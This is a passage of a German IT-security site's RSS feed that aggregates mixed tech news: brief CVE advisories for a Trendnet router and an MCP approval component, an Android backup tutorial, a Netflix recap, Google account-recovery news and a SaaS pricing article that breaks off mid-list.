<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=ghostty+zellij+setup%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Wed, 29 Jul 2026 15:28:15 +0200</lastBuildDate>
<pubDate>Wed, 29 Jul 2026 15:28:15 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=ghostty+zellij+setup%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=ghostty+zellij+setup%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[LG’s McAfee adware proves why Microsoft needs to assume the worst of companies and protect Windows 11]]></title>
<description><![CDATA[LG faced backlash after an investigation showed its monitor setup software was pushing McAfee ads to Windows 11 PCs. While Microsoft stepped in to stop the ads, the incident highlights why the OS needs stricter controls on automatic app installations.]]></description>
<link>https://tsecurity.de/de/3695675/windows-tipps/lgs-mcafee-adware-proves-why-microsoft-needs-to-assume-the-worst-of-companies-and-protect-windows-11/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695675/windows-tipps/lgs-mcafee-adware-proves-why-microsoft-needs-to-assume-the-worst-of-companies-and-protect-windows-11/</guid>
<pubDate>Sun, 26 Jul 2026 15:22:38 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[LG faced backlash after an investigation showed its monitor setup software was pushing McAfee ads to Windows 11 PCs. While Microsoft stepped in to stop the ads, the incident highlights why the OS needs stricter controls on automatic app installations.]]></content:encoded>
</item>
<item>
<title><![CDATA[stock3 Wochenend-Setup: Wenn Sicherheitsrisiken zur Chance werden!]]></title>
<description><![CDATA[Cybersecurity ist damit einer der wichtigsten und am schnellsten wachsenden IT‑Sektoren. ... Cyber-Security-Unternehmen steht. Charttechnisch lässt sich ...]]></description>
<link>https://tsecurity.de/de/3695642/it-security-nachrichten/stock3-wochenend-setup-wenn-sicherheitsrisiken-zur-chance-werden/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695642/it-security-nachrichten/stock3-wochenend-setup-wenn-sicherheitsrisiken-zur-chance-werden/</guid>
<pubDate>Sun, 26 Jul 2026 14:55:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cybersecurity ist damit einer der wichtigsten und am schnellsten wachsenden IT‑Sektoren. ... <b>Cyber</b>-<b>Security</b>-Unternehmen steht. Charttechnisch lässt sich ...]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-5349 | Trendnet TEW-657BRM 1.00.1 /setup.cgi add_apcdb mac_pc_dba stack-based overflow]]></title>
<description><![CDATA[A vulnerability marked as critical has been reported in Trendnet TEW-657BRM 1.00.1. The affected element is the function add_apcdb of the file /setup.cgi. The manipulation of the argument mac_pc_dba leads to stack-based buffer overflow. This vulnerability only affects products that are no longer ...]]></description>
<link>https://tsecurity.de/de/3695450/sicherheitsluecken/cve-2026-5349-trendnet-tew-657brm-1001-setupcgi-addapcdb-macpcdba-stack-based-overflow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695450/sicherheitsluecken/cve-2026-5349-trendnet-tew-657brm-1001-setupcgi-addapcdb-macpcdba-stack-based-overflow/</guid>
<pubDate>Sun, 26 Jul 2026 11:51:00 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">critical</a> has been reported in <a href="https://vuldb.com/product/trendnet:tew-657brm">Trendnet TEW-657BRM 1.00.1</a>. The affected element is the function <code>add_apcdb</code> of the file <em>/setup.cgi</em>. The manipulation of the argument <em>mac_pc_dba</em> leads to stack-based buffer overflow. This vulnerability only affects products that are no longer supported by the maintainer.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-5349">CVE-2026-5349</a>. The attack can be initiated remotely. Additionally, an exploit exists.

The vendor confirms, that "[t]he product in question (...) has been discontinued and end of life since June 23, 2011, that is more than 14 years ago. We no longer provide support for this product, so we are not able to confirm the vulnerabilities. We will make an announcement on our website's product support page and notify customers who registered their products with us."]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-5350 | Trendnet TEW-657BRM 1.00.1 /setup.cgi update_pcdb mac_pc_dba stack-based overflow]]></title>
<description><![CDATA[A vulnerability described as critical has been identified in Trendnet TEW-657BRM 1.00.1. The impacted element is the function update_pcdb of the file /setup.cgi. The manipulation of the argument mac_pc_dba results in stack-based buffer overflow. This vulnerability only affects products that are n...]]></description>
<link>https://tsecurity.de/de/3695446/sicherheitsluecken/cve-2026-5350-trendnet-tew-657brm-1001-setupcgi-updatepcdb-macpcdba-stack-based-overflow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695446/sicherheitsluecken/cve-2026-5350-trendnet-tew-657brm-1001-setupcgi-updatepcdb-macpcdba-stack-based-overflow/</guid>
<pubDate>Sun, 26 Jul 2026 11:50:58 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">critical</a> has been identified in <a href="https://vuldb.com/product/trendnet:tew-657brm">Trendnet TEW-657BRM 1.00.1</a>. The impacted element is the function <code>update_pcdb</code> of the file <em>/setup.cgi</em>. The manipulation of the argument <em>mac_pc_dba</em> results in stack-based buffer overflow. This vulnerability only affects products that are no longer supported by the maintainer.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-5350">CVE-2026-5350</a>. The attack can be launched remotely. Moreover, an exploit is present.

The vendor confirms, that "[t]he product in question (...) has been discontinued and end of life since June 23, 2011, that is more than 14 years ago. We no longer provide support for this product, so we are not able to confirm the vulnerabilities. We will make an announcement on our website's product support page and notify customers who registered their products with us."]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-17433 | nanocoai NanoClaw up to 2.0.64 MCP Server Approval chat-sdk-bridge.ts createChatSdkBridge.setup improper authorization (Issue 2761 / EUVD-2026-49048)]]></title>
<description><![CDATA[A vulnerability was found in nanocoai NanoClaw up to 2.0.64. It has been classified as critical. This impacts the function createChatSdkBridge.setup of the file src/channels/chat-sdk-bridge.ts of the component MCP Server Approval. Performing a manipulation results in improper authorization.

This...]]></description>
<link>https://tsecurity.de/de/3695270/sicherheitsluecken/cve-2026-17433-nanocoai-nanoclaw-up-to-2064-mcp-server-approval-chat-sdk-bridgets-createchatsdkbridgesetup-improper-authorization-issue-2761-euvd-2026-49048/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695270/sicherheitsluecken/cve-2026-17433-nanocoai-nanoclaw-up-to-2064-mcp-server-approval-chat-sdk-bridgets-createchatsdkbridgesetup-improper-authorization-issue-2761-euvd-2026-49048/</guid>
<pubDate>Sun, 26 Jul 2026 09:19:21 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/nanocoai:nanoclaw">nanocoai NanoClaw up to 2.0.64</a>. It has been classified as <a href="https://vuldb.com/kb/risk">critical</a>. This impacts the function <code>createChatSdkBridge.setup</code> of the file <em>src/channels/chat-sdk-bridge.ts</em> of the component <em>MCP Server Approval</em>. Performing a manipulation results in improper authorization.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2026-17433">CVE-2026-17433</a>. The attack needs to be approached locally. In addition, an exploit is available.

The project was informed of the problem early through an issue report but has not responded yet.]]></content:encoded>
</item>
<item>
<title><![CDATA[Your instant Android backup upgrade]]></title>
<description><![CDATA[Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.



In many areas of our digital life, that mercifully does Just Work™ in exactly that...]]></description>
<link>https://tsecurity.de/de/3694774/ai-nachrichten/your-instant-android-backup-upgrade/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694774/ai-nachrichten/your-instant-android-backup-upgrade/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Here in this high-tech era of 2026, keeping important info backed up and synced <em>should </em>be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.</p>



<p class="wp-block-paragraph">In many areas of our digital life, that mercifully does Just Work™ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.</p>



<p class="wp-block-paragraph">One area where seamless syncing somehow still <em>doesn’t</em> occur, though, is in the domain of <em>downloaded </em>documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on <em>that</em> one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.</p>



<p class="wp-block-paragraph">Well, take a moment to join me in celebration: Amidst all the <a href="https://www.computerworld.com/article/4136922/google-gemini-3-years.html">Gemini gobbledegook</a> that <a href="https://www.computerworld.com/article/2117752/google-gemini-ai.html">no one asked for</a> (and that often falls somewhere between <a href="https://www.computerworld.com/article/4182583/ai-creepy-era.html">“pointless”</a> and <a href="https://www.computerworld.com/article/3990497/google-gemini-deceit.html">“actively counterproductive”</a>), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to <em>you</em> to find and activate it.</p>



<p class="wp-block-paragraph">Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.</p>



<p class="wp-block-paragraph">All <em>you’ve </em>gotta do is find and flip that one new switch.</p>



<p class="wp-block-paragraph"><strong>[Don’t let yourself miss an ounce of Android Intelligence. </strong><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>Join my free weekly Android Intelligence newsletter</strong></a><strong> and get one new thing to try in your inbox every Friday!]</strong></p>



<h2 class="wp-block-heading"><strong>The Android backup lowdown</strong></h2>



<p class="wp-block-paragraph">So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.</p>



<p class="wp-block-paragraph">‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.</p>



<p class="wp-block-paragraph">Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many <em>other </em>areas of important data are also synced on their own at the app level — outside of any system mechanisms.</p>



<p class="wp-block-paragraph">Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on <em>that</em> <em>one device </em>and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if <em>you </em>go out of your way to <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=a%20new%20one.-,Files,-The%20easiest%20way">find and set up a third-party app to handle the heavy lifting</a>.</p>



<p class="wp-block-paragraph">That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself…) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.</p>



<p class="wp-block-paragraph">See?</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-backup-documents.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android backup documents" class="wp-image-4198961" width="1024" height="546" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">The easily overlooked new option for backing up documents on Android.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">The option is on its way to all devices running 2018’s <a href="https://www.computerworld.com/article/1698598/android-9-pie.html">Android 9 release</a> and higher. (If you’re still using a phone with an <a href="https://www.computerworld.com/article/1714347/android-versions-a-living-history-from-1-0-to-today.html">Android version</a> older than that, you’re now a whopping <em>eight years </em>out of date, and you have <a href="https://www.computerworld.com/article/1718016/android-upgrades-matter.html"><em>much</em> bigger problems</a>.)</p>



<p class="wp-block-paragraph">Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.</p>



<p class="wp-block-paragraph">Lemme show ya how.</p>



<h2 class="wp-block-heading"><strong>Android’s document backup addition</strong></h2>



<p class="wp-block-paragraph">I promise: This couldn’t be much simpler.</p>



<p class="wp-block-paragraph">No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)</p>



<p class="wp-block-paragraph">Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.</p>



<p class="wp-block-paragraph">However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-backup-options.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android backup options" class="wp-image-4198962" width="1024" height="742" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Android’s expanded list of backup options — now including documents alongside other forms of on-device data.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.</p>



<p class="wp-block-paragraph">If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.</p>



<p class="wp-block-paragraph">Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That <em>does</em> mean they’ll count against your overall Google storage total, so keep an eye on your <a href="https://drive.google.com/drive/u/0/quota" target="_blank" rel="noreferrer noopener">Drive storage total</a> to make sure you’re in solid shape and look to the <a href="https://one.google.com/storage/management?from=1&amp;g1_landing_page=1" target="_blank" rel="noreferrer noopener">Google One storage hub</a> if you ever want some simple suggestions for freeing up space.</p>



<p class="wp-block-paragraph">Speaking of other Google services: If you ever want to keep <em>other</em> types of locally stored <em>non</em>-document files from an Android device synced and available elsewhere, you can easily rely on <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=in-app%20upgrade.-,Photos%20and%20music,-OK%2C%20so%20they">Google Photos for syncing screenshots and other images</a> — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific <em>individual </em>on-device folders if you want to sync some but not all of those areas) — and you can still turn to <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=a%20new%20one.-,Files,-The%20easiest%20way">those aforementioned third-party apps</a> for broader syncing of anything else imaginable.</p>



<p class="wp-block-paragraph">But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on <em>you </em>to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.</p>



<p class="wp-block-paragraph">Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that <em>that </em>can only be a good thing.</p>



<p class="wp-block-paragraph"><em>Get practical Android knowledge in your inbox every Friday with </em><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong><em>my free Android Intelligence newsletter</em></strong></a><strong><em> </em></strong><em>— one new thing to try each week, straight from me to you.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Building Self-Evolving AI Agents with OpenSpace Using Skills, MCP, Lineage, and Low-Cost Reuse]]></title>
<description><![CDATA[Discover how to create self-evolving AI agents using the OpenSpace framework. This tutorial guides you through the entire workflow—from environment setup and custom skill creation to MCP integration and using SQLite to manage agent lineage—empowering you to build more efficient, reusable agent sy...]]></description>
<link>https://tsecurity.de/de/3694704/ai-nachrichten/building-self-evolving-ai-agents-with-openspace-using-skills-mcp-lineage-and-low-cost-reuse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694704/ai-nachrichten/building-self-evolving-ai-agents-with-openspace-using-skills-mcp-lineage-and-low-cost-reuse/</guid>
<pubDate>Sat, 25 Jul 2026 19:49:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Discover how to create self-evolving AI agents using the OpenSpace framework. This tutorial guides you through the entire workflow—from environment setup and custom skill creation to MCP integration and using SQLite to manage agent lineage—empowering you to build more efficient, reusable agent systems.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/25/building-self-evolving-ai-agents-with-openspace-using-skills-mcp-lineage-and-low-cost-reuse/">Building Self-Evolving AI Agents with OpenSpace Using Skills, MCP, Lineage, and Low-Cost Reuse</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agent Kim Reactivated Episode 10 Recap: Ending Explained and Season 2 Setup]]></title>
<description><![CDATA[Agent Kim Reactivated Episode 10 brings the first season to a tense close as Manager Kim fights for Min-ji’s future while South Korean intelligence officials pull him into another dangerous mission. The finale delivers action, emotional reunions, political betrayal, and a cliffhanger that leaves ...]]></description>
<link>https://tsecurity.de/de/3694687/ios-mac-os/agent-kim-reactivated-episode-10-recap-ending-explained-and-season-2-setup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694687/ios-mac-os/agent-kim-reactivated-episode-10-recap-ending-explained-and-season-2-setup/</guid>
<pubDate>Sat, 25 Jul 2026 19:47:47 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Episode 10 brings the first season to a tense close as Manager Kim fights for Min-ji’s future while South Korean intelligence officials pull him into another dangerous mission. The finale delivers action, emotional reunions, political betrayal, and a cliffhanger that leaves Kim’s promised freedom uncertain.




Release date: July 25, 2026



Streaming platform: Netflix



Genre: Action, crime, espionage thriller




The series follows Manager Kim, an ordinary office worker and single father who previously served as a highly trained black-ops agent. His hidden life returns after his daughter, Min-ji, disappears, forcing him to reconnect with former operatives Han-soo and Jin-cheol.



Spoilers ahead for Agent Kim Reactivated Episode 10



The finale begins with Kim trapped and repeatedly questioned about his activities in South Korea. He remains silent until an interrogator threatens Min-ji, prompting him to attack, break free, and attempt another escape.



Kim soon learns that the imprisonment was part of a loyalty test arranged by South Korean intelligence. Officials want to determine whether he can still follow orders before assigning him another classified operation. They offer Kim and Min-ji new identities and a chance to disappear after he completes one final mission.



Kim agrees, but only after demanding protection for Min-ji and freedom for Han-soo and Jin-cheol. His two friends later wake up after being drugged and abandoned far from home, adding a short comic break after the episode’s intense opening.



Gang-chan prepares another attack



While Kim handles the government’s mission, Ju Gang-chan continues planning revenge. He discovers that Kim and Min-ji have effectively disappeared from official records, which makes them easier targets for anyone operating outside the law.



Gang-chan begins working with political and North Korean contacts, showing that the conspiracy surrounding Kim goes far beyond one personal conflict. His obsession with destroying Kim keeps the threat alive even after several of his earlier plans fail.



Kim eventually reunites with Han-soo and Jin-cheol, but their relief does not last long. Intelligence agents surround their location and announce that Kim’s operation has technically failed. Officials then order Kim and the North Korean Director General to be returned across the border.



Does Manager Kim save Min-ji?



Min-ji remains alive and protected by the end of Episode 10. Kim succeeds in keeping her away from immediate danger, although he does not receive the peaceful life he was promised.



The final scene leaves Kim trapped between two governments, powerful enemies, and possible traitors inside South Korea’s intelligence service. The finale also suggests that someone within the agency has been manipulating events, creating a clear storyline for another season.



Netflix currently describes Agent Kim Reactivated as a limited series, and no official Season 2 renewal has been announced.



Agent Kim Reactivated Episode 10 ends the kidnapping storyline while keeping Kim’s larger battle unfinished. Do you think Kim will uncover the intelligence mole and finally escape with Min-ji? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Google führt Selfie-Video zur Kontowiederherstellung ein – opt-in mit Liveness-Logik]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Google erweitert die Kontowiederherstellung: Statt sich nur über E-Mail oder Telefonnummer aus einem Lockout herauszuarbeiten, können Nutzer künftig ein kurzes Selfie-Video als Verifizierungsoption anlegen. Für die Einrichtung schauen sie in die Kamera und absolvieren gefüh...]]></description>
<link>https://tsecurity.de/de/3694460/it-security-nachrichten/google-fuehrt-selfie-video-zur-kontowiederherstellung-ein-opt-in-mit-liveness-logik/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694460/it-security-nachrichten/google-fuehrt-selfie-video-zur-kontowiederherstellung-ein-opt-in-mit-liveness-logik/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-google-selfie-video-verification.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" loading="lazy" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-google-selfie-video-verification.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-google-selfie-video-verification-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-google-selfie-video-verification-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-google-selfie-video-verification-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-google-selfie-video-verification-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-google-selfie-video-verification-120x120.jpg 120w" sizes="auto, (max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Google erweitert die Kontowiederherstellung: Statt sich nur über E-Mail oder Telefonnummer aus einem Lockout herauszuarbeiten, können Nutzer künftig ein kurzes Selfie-Video als Verifizierungsoption anlegen. Für die Einrichtung schauen sie in die Kamera und absolvieren geführte Kopfbewegungen, beim späteren Login wird das neue Video gegen das gespeicherte Setup verglichen. Damit will der […]</p>
<div><a href="https://www.it-boltwise.de/google-fuehrt-selfie-video-zur-kontowiederherstellung-ein-opt-in-mit-liveness-logik.html">... den vollständigen Artikel <strong>»Google führt Selfie-Video zur Kontowiederherstellung ein – opt-in mit Liveness-Logik«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/google-fuehrt-selfie-video-zur-kontowiederherstellung-ein-opt-in-mit-liveness-logik.html">Google führt Selfie-Video zur Kontowiederherstellung ein – opt-in mit Liveness-Logik</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The new value architecture of the AI-native SaaS era]]></title>
<description><![CDATA[The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deep...]]></description>
<link>https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.</p>



<p class="wp-block-paragraph">In brief:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is transforming software as a service (SaaS)</a>, and the old ways of keeping score no longer apply.</li>



<li>Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.</li>



<li>These changes impact everything from pricing to valuations.</li>
</ul>



<p class="wp-block-paragraph">The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.</p>



<p class="wp-block-paragraph">The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.</p>



<p class="wp-block-paragraph">While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">credit-centric metrics framework</a>, with seats and outcomes as the bookends of a spectrum.</p>



<h2 class="wp-block-heading">Why do software companies need new metrics?</h2>



<p class="wp-block-paragraph">Why the rethink, and why now? There are five major forces that are driving this shift:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.idc.com/resource-center/blog/is-saas-dead-rethinking-the-future-of-software-in-the-age-of-ai/"><strong>The unit of value is changing</strong></a><strong>.</strong> Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.</li>



<li><strong>The cost of goods sold (COGS) is exploding.</strong> AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.</li>



<li><strong>Buying is moving up the org chart.</strong> AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.</li>



<li><strong>Time to value (TTV) is collapsing.</strong> With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.</li>



<li><strong>Retention is bifurcating.</strong> AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.</li>
</ol>



<h2 class="wp-block-heading">How this shift is impacting pricing</h2>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_us/insights/strategy/grow-with-trusted-software-portfolio-management">Given how AI-native software is transforming the market</a>, the shift to more variable pricing options is inevitable.</p>



<p class="wp-block-paragraph">Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.</p>



<p class="wp-block-paragraph">Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.</p>



<p class="wp-block-paragraph">Finally, the industry will likely see <a href="https://www.gartner.com/en/newsroom/press-releases/2026-07-01-gartner-says-us-dollars-234-billion-in-enterprise-application-software-spend-is-at-risk-from-agentic-artificial-intelligence">some move toward outcome-based pricing</a> for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.</p>



<p class="wp-block-paragraph">Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.</p>



<h2 class="wp-block-heading">How AI upends classic SaaS metrics</h2>



<p class="wp-block-paragraph">When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?</p>



<p class="wp-block-paragraph">But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:</p>



<h3 class="wp-block-heading">Revenue composition</h3>



<ul class="wp-block-list">
